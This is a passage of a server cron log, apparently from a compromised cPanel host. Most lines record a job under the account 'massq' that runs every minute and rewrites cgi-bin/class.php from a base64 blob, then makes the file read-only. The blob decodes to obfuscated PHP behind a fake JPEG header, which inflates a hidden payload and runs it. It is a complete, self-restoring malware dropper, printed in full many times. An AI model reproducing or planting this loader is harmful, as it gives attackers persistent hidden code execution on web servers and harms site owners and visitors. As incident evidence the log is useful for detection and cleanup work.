BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:33:02 server CROND[12182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:34:01 server CROND[12245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:35:01 server CROND[12312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 11:35:01 server CROND[12313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:35:01 server CROND[12314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:35:01 server CROND[12315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:35:01 server CROND[12317]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 11:36:01 server CROND[12552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:37:01 server CROND[12624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:38:01 server CROND[12696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:39:01 server CROND[12758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:39:01 server CROND[12759]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 11:40:01 server CROND[12851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:40:01 server CROND[12852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:40:01 server CROND[12853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:40:01 server CROND[12854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 11:41:01 server CROND[12990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:42:01 server CROND[13170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 11:42:01 server CROND[13171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:43:01 server CROND[13245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:44:01 server CROND[13316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:45:01 server CROND[13401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:45:01 server CROND[13400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:45:01 server CROND[13402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:46:01 server CROND[13517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 